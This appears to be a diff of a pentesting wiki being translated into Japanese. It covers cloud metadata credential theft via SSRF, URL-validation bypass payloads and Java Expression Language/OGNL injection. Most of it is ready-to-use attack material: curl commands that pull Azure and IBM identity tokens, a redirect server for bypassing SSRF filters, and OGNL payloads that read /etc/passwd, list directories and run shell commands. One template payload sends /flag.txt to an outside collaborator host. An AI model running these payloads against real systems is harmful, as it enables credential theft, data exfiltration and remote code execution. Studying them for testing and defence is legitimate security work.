> AWSロールやGCPサービスアカウントのようなものはないため、メタデータボットの資格情報を見つけることは期待しないでください
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -336,26 +313,25 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
- **Must** contain the header `Metadata: true`
- Must **not** contain an `X-Forwarded-For` header
- **必須** ヘッダー `Metadata: true` を含む
- `X-Forwarded-For` ヘッダーを **含まないこと**
> [!TIP]
> An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**.
> Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティが付与される可能性があります。これは基本的に、**VM に付与されたすべての管理アイデンティティを偽装できる**ことを意味します。
>
> By **default**, the metadata endpoint will use the **system assigned MI (if any)**.
> **デフォルト**では、メタデータエンドポイントは **システム割り当て MI (ある場合)** を使用します。
>
> Unfortunately I couldn't find any metadata endpoint indicating all the MIs a VM has attached.
> 残念ながら、VM に付与されたすべての MI を示すメタデータエンドポイントは見つかりませんでした。
>
> Therefore, to find all the attached MIs you can do:
> したがって、すべての付与された MI を見つけるには、次のことを行うことができます:
>
> - Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant)
> - **az cli** を使用して **付与されたアイデンティティを取得** (Azure テナント内で既にプリンシパルを侵害している場合)
>
> ```bash
> az vm identity show \
@ -363,17 +339,17 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Get **attached identities** using the default attached MI in the metadata:
> - メタデータ内のデフォルトの付与された MI を使用して **付与されたアイデンティティを取得**
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Get token from default MI
> # デフォルト MI からトークンを取得
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Get needed details
> # 必要な詳細を取得
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
@ -381,23 +357,22 @@ curl http://169.254.169.254/metadata/v1.json | jq
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Try to get attached MIs
> # 付与された MI を取得しようとする
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM:
> - テナント内で定義されたすべての管理アイデンティティを **取得し**、どれかが VM に付与されているかを **ブルートフォース** で確認:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> トークンリクエストでは、`object_id``client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したい管理アイデンティティを指定します ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合、**デフォルト MI が使用されます**。
{{#tabs}}
{{#tab name="Bash"}}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -421,11 +396,9 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{{#endtab}}
{{#tab name="PS"}}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
@ -438,15 +411,14 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services
From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server.
**env** から **`IDENTITY_HEADER`** と **`IDENTITY_ENDPOINT`** の値を取得できます。これを使用してメタデータサーバーと通信するためのトークンを取得できます。
Most of the time, you want a token for one of these resources:
ほとんどの場合、次のリソースのいずれかのトークンが必要です:
- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
@ -454,11 +426,10 @@ Most of the time, you want a token for one of these resources:
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> トークンリクエストでは、`object_id``client_id`、または `msi_res_id` のいずれかのパラメータを使用して、使用したいマネージドIDを指定してください[**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。指定がない場合は、**デフォルトのMIが使用されます**。
{{#tabs}}
{{#tab name="Bash"}}
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
@ -476,30 +447,28 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-0
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
```
{{#endtab}}
{{#tab name="PS"}}
```powershell
# Define the API version
$API_VERSION = "2019-08-01"
# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}
# Get Management Token
@ -529,11 +498,11 @@ Write-Host "Storage Token: $storageToken"
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -541,11 +510,11 @@ $RequestParams = @{
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -561,26 +530,24 @@ Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
{{#endtab}}
{{#endtabs}}
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
> [!WARNING]
> Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
> IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があることに注意してください。
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
@ -597,28 +564,27 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
さまざまなプラットフォームのメタデータサービスに関するドキュメントは以下に示されており、インスタンスの構成および実行時情報にアクセスする方法が強調されています。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。
## Packetcloud
For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Packetcloudのメタデータにアクセスするためのドキュメントは次の場所にあります: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
The necessity for a header is not mentioned. Metadata can be accessed through:
ヘッダーの必要性は言及されていません。メタデータには以下を通じてアクセスできます:
- `http://169.254.169.254/openstack`
## HP Helion
The necessity for a header is not mentioned here either. Metadata is accessible at:
ここでもヘッダーの必要性は言及されていません。メタデータには以下でアクセスできます:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -627,7 +593,7 @@ Oracle Cloud provides a series of endpoints for accessing various metadata aspec
## Alibaba
Alibaba offers endpoints for accessing metadata, including instance and image IDs:
Alibabaは、インスタンスおよびイメージIDにアクセスするためのエンドポイントを提供しています:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -635,26 +601,25 @@ Alibaba offers endpoints for accessing metadata, including instance and image ID
## Kubernetes ETCD
Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
Kubernetes ETCDはAPIキー、内部IPアドレス、およびポートを保持できます。アクセスは以下のように示されます:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker metadata can be accessed locally, with examples given for container and image information retrieval:
Dockerメタデータにはローカルでアクセスでき、コンテナおよびイメージ情報の取得に関する例が示されています:
- Simple example to access containers and images metadata via the Docker socket:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Inside the container, use curl with the Docker socket:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
- Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- コンテナ内で、Dockerソケットを使用してcurlを使います:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Rancher's metadata can be accessed using:
Rancherのメタデータには以下を使用してアクセスできます:
- `curl http://rancher-metadata/<version>/<path>`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# SSRF Vulnerable Platforms
# SSRF脆弱なプラットフォーム
{{#include ../../banners/hacktricks-training.md}}
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
チェック **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
### Localhost
### ローカルホスト
```bash
# Localhost
http://127.0.0.1:80
@ -76,13 +75,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../images/image (776).png>)
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
### Domain Parser
**Burp拡張機能** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) は、IPフォーマットバイパスを実装しています。
### ドメインパーサー
```bash
https:attacker.com
https:/attacker.com
@ -111,9 +108,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Domain Confusion
### ドメインの混乱
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -148,33 +143,29 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### パスと拡張子のバイパス
### Paths and Extensions Bypass
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
URLがパスまたは拡張子で終わる必要がある場合、またはパスを含む必要がある場合は、次のいずれかのバイパスを試すことができます
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については、[**この投稿**](https://0xacb.com/2022/11/21/recollapse/) を確認してください。
### Automatic Custom Wordlists
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
ポートスウィガーの [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) をチェックしてください。ここでは、許可されたホストと攻撃者のホストを入力すると、試すためのURLリストが生成されます。また、URLをパラメータ、Hostヘッダー、またはCORSヘッダーで使用できるかどうかも考慮されます。
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスはフィルタリングしていない可能性があります。\
例えば、`url=https://www.google.com/` を介してSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、リダイレクトしたい場所に302で応答する[pythonサーバーを使用する](https://pastebin.com/raw/ywAUhFrv)と、127.0.0.1のような**フィルタリングされたIPアドレス**や、gopherのようなフィルタリングされた**プロトコル**に**アクセスできる**かもしれません。\
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -184,41 +175,39 @@ import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## 説明されたトリック
## Explained Tricks
### バックスラストリック
### Blackslash-trick
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
_バックスラストリック_は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ`\`)をフォワードスラッシュ(`/`と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Left square bracket
### 左角括弧
The “left square bracket” character `[` in the userinfo segment can cause Springs UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
ユーザー情報セグメントの「左角括弧」文字 `[` は、SpringのUriComponentsBuilderがブラウザとは異なるホスト名の値を返す原因となることがあります: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Other Confusions
### その他の混乱
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
画像出典: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## References
## 参考文献
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,81 +4,74 @@
## Bsic Info
Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
Expression Language (EL) は、JavaEE においてプレゼンテーション層(例:ウェブページ)とアプリケーションロジック(例:管理されたビーン)をつなぐために不可欠であり、相互作用を可能にします。主に以下で使用されます:
- **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
- **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
- **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
- **JavaServer Faces (JSF)**UI コンポーネントをバックエンドデータ/アクションにバインドするため。
- **JavaServer Pages (JSP)**JSP ページ内でのデータアクセスと操作のため。
- **Contexts and Dependency Injection for Java EE (CDI)**:管理されたビーンとのウェブ層の相互作用を促進するため。
**Usage Contexts**:
**使用コンテキスト**
- **Spring Framework**: Applied in various modules like Security and Data.
- **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
- **Spring Framework**Security や Data などのさまざまなモジュールで適用されます。
- **一般的な使用**Java、Kotlin、Scala などの JVM ベースの言語で開発者によって SpEL API を通じて。
EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
EL は JavaEE テクノロジー、スタンドアロン環境に存在し、`.jsp` または `.jsf` ファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
> [!NOTE]
> Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
> **EL バージョン**によっては、いくつかの **機能**が **オン**または **オフ**である可能性があり、通常、いくつかの **文字**が **禁止**されることがあります。
## Basic Example
(You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
(EL に関する別の興味深いチュートリアルは [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) で見つけることができます。)
Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
[**Maven**](https://mvnrepository.com) リポジトリから以下の jar ファイルをダウンロードします:
- `commons-lang3-3.9.jar`
- `spring-core-5.2.1.RELEASE.jar`
- `commons-logging-1.2.jar`
- `spring-expression-5.2.1.RELEASE.jar`
And create a the following `Main.java` file:
次の `Main.java` ファイルを作成します:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
次にコードをコンパイルします(`javac`がインストールされていない場合は、`sudo apt install default-jdk`をインストールしてください):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Execute the application with:
アプリケーションを実行するには:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
前の例で、用語 `{5*5}`**評価された** 方法に注意してください。
Note how in the previous example the term `{5*5}` was **evaluated**.
## **CVE ベースのチュートリアル**
## **CVE Based Tutorial**
**この投稿**で確認してください: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
### Basic actions
## ペイロード
### 基本的なアクション
```bash
#Basic string operations examples
{"a".toString()}
@ -102,46 +95,34 @@ Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### 検出
### Detection
- Burp detection
- Burp検出
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
- J2EE detection
- J2EE検出
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
- Sleep 10 secs
- 10秒待機
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Remote File Inclusion
### リモートファイルインクルージョン
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Directory Listing
### ディレクトリリスト
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
- Basic RCE **explanation**
- 基本的なRCE **説明**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -157,21 +138,15 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
- RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- RCE **Windows** (not tested)
- RCE **Windows**(未テスト)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- **More RCE**
- **さらなるRCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -207,40 +182,33 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
